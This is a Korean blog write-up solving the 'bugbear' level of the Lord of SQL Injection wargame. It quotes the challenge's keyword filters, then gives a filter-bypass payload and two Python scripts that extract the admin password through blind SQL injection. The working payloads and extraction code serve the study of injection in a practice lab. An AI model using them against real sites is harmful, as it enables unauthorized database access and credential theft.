power-girl0-0

[ Los ] bugbear 본문

War game/Lord of SQL Injection

[ Los ] bugbear

power-girl0-0 2021. 3. 22. 01:51
728x90

주소 : https://los.rubiya.kr/

 

Lord of SQLInjection

 

los.rubiya.kr


[ 문제 ]


[ 풀이 ]

바로 이전 문제와 같이 no를 이용해서 pw를 유추하는 문제이다.

pw에서 '(싱글쿼터)를 차단하고 있기 때문이다.

  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 

no에서는 '(싱글쿼터), substr, ascii, =, or, and, (공백), like, 0x를 차단하고 있다.

 if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe"); 

이전 문제와 달리 좀 더 강하게 추가되었다.


like 대신 in연산자를 이용하여, id="admin"을 입력해보자.

또한, 공백은 주석처리인 /**/로 대체해보자.

  ?no=1/**/||id/**/in/**/("admin")%23

확인 결과, "Hello admin"이 출력되는 것을 확인할 수 있다.

이는 Blind Sql injection이 가능하다는 뜻이다.

 

해당 문제에서도 데이터베이스 pw와 입력한 pw값이 일치하면, 풀리는 문제이다.

따라서 pw를 이전과 같이 유추해보자.


비밀번호 길이를 유추해보자.

import requests

url = 'https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?'
cookies={'PHPSESSID':'fh0624b017oortqajeeu7ae886'}

def password_length():
    len_pw=0
    while 1 :
        len_pw += 1
        print(len_pw)
        value = "1/**/||/**/id/**/in/**/(\"admin\")/**/&&/**/length(pw)/**/in/**/(\"{}\")/**/#".format(len_pw)
        params={'no':value}
        response = requests.get(url, params=params, cookies=cookies)
        if "Hello admin" in response.text:
            print("password length : ", len_pw)
            break
    return len_pw

password_length()

웹페이지에서 확인해보면, 아래와 같다.


길이 구한 것을 이용하여, 비밀번호를 유추해보자.

 

여기서 주의할 점은, ascii함수를 대체했던 ord함수 사용이 불가능하다.

페이지에서 or을 차단하고 있기 때문이다.

 

그래서 ascii( )와 ord( )를 hex( )로 대체하였다.

import requests
url = 'https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?'
cookies={'PHPSESSID':'자신의 세션 id'}

def password_length():
    len_pw=0
    while 1 :
        len_pw += 1
        print(len_pw)
        value = "1/**/||/**/id/**/in/**/(\"admin\")/**/&&/**/length(pw)/**/in/**/(\"{}\")/**/#".format(len_pw)
        params={'no':value}
        response = requests.get(url, params=params, cookies=cookies)
        if "Hello admin" in response.text:
            print("password length : ", len_pw)
            break
    return len_pw


def find_pw(len_pw):

    pw=''
    for i in range(1,len_pw+1):
        print(i,"번째 찾는 중")
        for j in range(48,122):
            value = "1/**/||/**/id/**/in/**/(\"admin\")/**/&&/**/hex(mid(pw,{},1))/**/in/**/(hex({}))/**/#".format(i,j)
            
            params={"no":value}
            response = requests.get(url, params=params, cookies=cookies)
            
            if "Hello admin" in response.text:
                pw+=chr(j)
                print("password : ",pw)
                break
  
find_pw(password_length())

구한 password값을 pw에 넣어보면, 문제가 Clear된다.

CLEAR!!

 

 

728x90

'War game > Lord of SQL Injection' 카테고리의 다른 글

[ Los ] giant  (0) 2021.03.22
[ Los ] darkknight  (0) 2021.03.22
[ Los ] golem  (0) 2021.03.22
[ Los ] skeleton  (0) 2021.03.21
[ Los ] vampire  (0) 2021.03.21
Comments